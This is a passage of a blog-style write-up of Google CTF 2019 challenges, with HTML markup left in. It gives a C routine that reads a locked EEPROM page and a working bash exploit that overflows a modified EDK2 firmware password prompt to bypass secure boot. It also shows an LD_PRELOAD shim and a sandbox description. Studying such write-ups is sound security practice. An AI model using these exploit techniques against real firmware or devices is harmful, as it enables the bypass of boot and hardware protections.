    &lt;span class=&quot;n&quot;&gt;o_i2c_sda&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem_storage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2c_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_data_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i2c_data_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_data_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Without the bitbanging fluff, the final annotated code looks like this.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; START -&amp;gt; LOAD_CONTROL&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;send_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEPROM_I2C_ADDR_MEMORY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; LOAD_ADDRESS&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;send_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Address at the end of the first page&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Usually we would continue to the WRITE state, but we can interrupt that&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// by issuing another start condition.&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; START -&amp;gt; LOAD_CONTROL&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Page locking is implemented by writing to a special address&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;send_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEPROM_I2C_ADDR_SECURE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b1111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; IDLE&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; START -&amp;gt; LOAD_CONTROL&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// The internal address pointer is still valid at this point&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;send_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEPROM_I2C_ADDR_MEMORY&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; READ&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;print_hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -&amp;gt; READ (address gets incremented)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;secure-boot&quot;&gt;Secure boot&lt;/h2&gt;

&lt;p&gt;In this challenge we get a &lt;a href=&quot;https://github.com/tianocore/edk2&quot;&gt;EDK2&lt;/a&gt; EFI
firmware binary, running on a remote server inside qemu.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;#&lt;/span&gt; We can run qemu with a custom OVMF binary using this
&lt;span class=&quot;go&quot;&gt;qemu-system-x86_64 -monitor /dev/null \&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;        -m 128M \&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;        -drive if=pflash,format=raw,file=OVMF.fd \&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;        -drive file=fat:rw:contents,format=raw \&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;        -net none -nographic&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;By default it immediately fails because secure boot is enabled and the kernel
is not signed.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-fail.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/secboot-fail.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The goal is to exploit the binary in order to gain access to the BIOS
configuration and disable secure boot. By wildly mashing all the keys on my
keyboard, I managed to interrupt the boot process to get into a password prompt.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-passprompt.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 473px&quot; src=&quot;/images/google-ctf-2019/secboot-passprompt.png&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;/images/google-ctf-2019/secboot-uuid.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/secboot-uuid.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After some grepping through the mainline EDK2 source
&lt;a href=&quot;https://github.com/tianocore/edk2/tree/master/MdeModulePkg/Application/UiApp&quot;&gt;code&lt;/a&gt;
of UiApp, I realized that this prompt has to be a custom modification.&lt;/p&gt;

&lt;p&gt;At this point, I needed to start actually reversing the &lt;code&gt;OVMF.fd&lt;/code&gt; binary.
Opening it in &lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot;&gt;UEFITool&lt;/a&gt; yields a ton of
various modules. We are interested in exporting the one matching the printed
UUID.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-uefitool.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 623px&quot; src=&quot;/images/google-ctf-2019/secboot-uefitool.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;EFI binaries are pretty standard x86_64 PE executables and as such can
be loaded into Ghidra without any issues. However, the lack of debug symbols
makes reverse engineering challenging.&lt;/p&gt;

&lt;p&gt;Because I suck at static analysis, I enabled debugging in qemu using the
&lt;code&gt;-gdb tcp:127.0.0.1:1234&lt;/code&gt; switch and connected over GDB to the running machine.
I also found out about the
&lt;a href=&quot;https://github.com/qemu/qemu/blob/master/scripts/dump-guest-memory.py&quot;&gt;dump-guest-memory&lt;/a&gt;
GDB script, which allows dumping of guest memory from a running qemu instance.&lt;/p&gt;

&lt;p&gt;After more time than I would like to admit, I managed to figure out which
function is responsible for the password prompt. Note that all the strings are
wide, so running &lt;code&gt;strings&lt;/code&gt; on the binary won’t be much of help.&lt;/p&gt;

&lt;p&gt;Some relabeling later, the function looked as follows in the Ghidra decompiler.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-getpassword.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/secboot-getpassword.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The sha256 function is easily identifiable by the &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-2#Pseudocode&quot;&gt;magical constants&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-sha256.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 230px&quot; src=&quot;/images/google-ctf-2019/secboot-sha256.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Closer inspection reveals an interesting fact — the string buffer is only 
128 bytes long, while the loop allows us to load up to 0x8c (140) bytes of data!&lt;/p&gt;

&lt;p&gt;Given the stack layout, this means we have control over the &lt;code&gt;fail_counter&lt;/code&gt;
variable and, more importantly, over the pointer to which the result of the
sha256 call gets written. The &lt;code&gt;string_length&lt;/code&gt; variable is kept inside a register and
as such is not a good target here.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-stack.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 337px&quot; src=&quot;/images/google-ctf-2019/secboot-stack.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point we can control the address where the hash of our input gets written
to. Brute forcing SHA256 is hard, so we have to minimize the number of bytes
that matter to our exploit.&lt;/p&gt;

&lt;p&gt;In the end I chose to overwrite the two lowest bytes (yay little endian!) of
the return address stored on the stack with the address next to the branch
instruction that checks return value of this function.&lt;/p&gt;

&lt;p&gt;This is how the last few words of the string buffer look like. Notice the
highlighted pointer which is where the SHA256 gets stored.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-stack-dump.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/secboot-stack-dump.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The highlighted value below is the modified return address. Notice that the data
before is essentially random — that is our hash value.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-stack-ret.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/secboot-stack-ret.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that there is no ASLR and as such we do not need any address leaks to
get the function address.&lt;/p&gt;

&lt;p&gt;And putting everything together:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;#! /bin/bash&lt;/span&gt;

sleep &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.1
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; x in &lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;seq &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -ne &lt;span class=&quot;s1&quot;&gt;&amp;#39;\x1b&amp;#39;&lt;/span&gt;
	sleep &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.1
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;

sleep &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# This prefix was brute forced so that the hash of the entire thing&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ends with 0x49 0x4d&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -ne aaaaaaaaaaaaaWKu
head -c120 /dev/zero &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; tr &lt;span class=&quot;s1&quot;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;x&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -ne &lt;span class=&quot;s1&quot;&gt;&amp;#39;\x9a\x18\xec\x07&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -ne &lt;span class=&quot;s1&quot;&gt;&amp;#39;\r&amp;#39;&lt;/span&gt;
sleep &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
socat TCP-LISTEN:1337,reuseport -  &lt;span class=&quot;c1&quot;&gt;# Spawn an interactive console&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Afterwards, we get dropped into a pretty standard EFI configuration interface
and can just disable the secure boot. The flag is then stored on the filesystem
of the Linux that gets loaded.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/secboot-efi-menu.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/secboot-efi-menu.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;dialtone&quot;&gt;Dialtone&lt;/h2&gt;

&lt;p&gt;This time we are given a binary to extract the flag from. Opening it in Ghidra
shows that it connects over pulseaudio to a microphone and then does some signal
processing, outputing either SUCCESS or FAILED depending on how much it likes
what it hears.&lt;/p&gt;

&lt;p&gt;Judging by the challenge name, it expects a sequence of
&lt;a href=&quot;https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling&quot;&gt;DTMF&lt;/a&gt;
symbols on its input.&lt;/p&gt;

&lt;p&gt;As I did not want to bother with convincing pulseaudio to fake a microphone
input, I wrote a quick &lt;code&gt;LD_PRELOAD&lt;/code&gt; shim to bypass it entirely and read the
input signal from a file.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;pa_simple_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;./dtmf.raw&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;At this point, we could just brute force the sequence character-by-character,
checking how many samples are read from the input before failure.
However, as I did not want to bother with generating DTMF signals, I opened
the binary in Ghidra again and set out to figure out how it works.&lt;/p&gt;

&lt;p&gt;The main function is pretty straightforward loop calling &lt;code&gt;pa_simple_read&lt;/code&gt;
and then two additional processing functions, one of which returns a fail/pass
value.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/dialtone-main.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/dialtone-main.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s not really important how the signal processing is done (some SIMD magic
anyway). More significant is the second half of the function. Here we evidently
have a state machine that verifies the sequence.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/dialtone-switch.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 40.0%;&quot; src=&quot;/images/google-ctf-2019/t/dialtone-switch.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;decoded_dtmf = local_20 &amp;lt;&amp;lt; 2 | decoded_dtmf&lt;/code&gt; line is pretty interesting here.
Looking at how DTMF is decoded, we notice that it uses a table of frequencies,
two of which select a value.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/dialtone-table.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 326px&quot; src=&quot;/images/google-ctf-2019/dialtone-table.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a bit of messing around in Audacity, I figured that the upper two bits
of the sequence from the state machine select row and lower two bits select
column. The flag (by the challenge description) was just &lt;code&gt;CTF{SEQUENCE_OF_DIGITS}&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;devmaster-8001&quot;&gt;DevMaster 8001&lt;/h2&gt;

&lt;p&gt;Here we have a sandboxed environment which executes arbitrary user commands.
Users can submit requests which get executed wrapped in a bunch of namespace
protection. Then the resulting files get downloaded back. stdout is also forwarded
to the client.&lt;/p&gt;

&lt;p&gt;The provided client can be used as follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;./built_bins/client nc 127.0.0.1 1234 -- input-file1 input-file2 -- output-file -- command&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The layers of protection look like&lt;/p&gt;

&lt;style&gt;
.devmaster-list ul {
  padding: 15px;
  padding-bottom: 0px;
  padding-top: 0px;
}
&lt;/style&gt;

&lt;ul class=&quot;devmaster-list&quot;&gt;
  &lt;li type=&quot;disc&quot;&gt;
    server.cc
    &lt;ul&gt;
    &lt;li type=&quot;circle&quot;&gt;
      This accepts client connections. We have a single instance
      running as root.
    &lt;/li&gt;
    &lt;li type=&quot;circle&quot;&gt;
      Executes and provides shell access the admin binary.
    &lt;/li&gt;
    &lt;li type=&quot;circle&quot;&gt;
      On the Build command, it creates a random directory inside `/home/user/builds`,
      copies the provided files inside, forks, and runs the command wrapped in
      the next stage.
    &lt;/li&gt;
    &lt;li type=&quot;disc&quot;&gt;
      executor.cc
      &lt;ul&gt;
      &lt;li type=&quot;circle&quot;&gt;
        Using 8 &lt;code&gt;semget&lt;/code&gt; semaphores, it selects a free
        &lt;code&gt;sandbox-runner-%d&lt;/code&gt; user.
      &lt;/li&gt;
      &lt;li type=&quot;circle&quot;&gt;
        Then it chmods the temporary directory to the selected user
        and runs the command wrapped in next stage. After that is finished,
        the semaphore is released.
      &lt;/li&gt;
      &lt;li type=&quot;disc&quot;&gt;
        linux-sandbox.cc
        &lt;ul&gt;
        &lt;li type=&quot;circle&quot;&gt;
          This stage setups filesystem sandbox (making everything but
          &lt;code&gt;/tmp&lt;/code&gt; and the generated build directory read only). It
          also isolates the network.
        &lt;/li&gt;
        &lt;li type=&quot;circle&quot;&gt;
          Then it forks and the parent becomes a
          &lt;a href=&quot;https://unix.stackexchange.com/questions/250153/what-is-a-subreaper-process&quot;&gt;subreaper&lt;/a&gt;.
          This is important as it prevents us from just double forking ourselves
          to persistence.
        &lt;/li&gt;
        &lt;li type=&quot;circle&quot;&gt;
          The child finally drops its privileges to the selected &lt;code&gt;sandbox-runner-%d&lt;/code&gt;
          and runs the user-provided command.
        &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;/ul&gt;
    &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we attempt to access the admin shell, we get a password prompt.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/google-ctf-2019/devmaster-admin.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/google-ctf-2019/t/devmaster-admin.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The source code looks as follows.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;Enter your password please.&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;getline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;expected_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* &amp;lt;long_string_here&amp;gt; */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;actual_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;picosha2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash256_hex_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;expected_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;actual_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
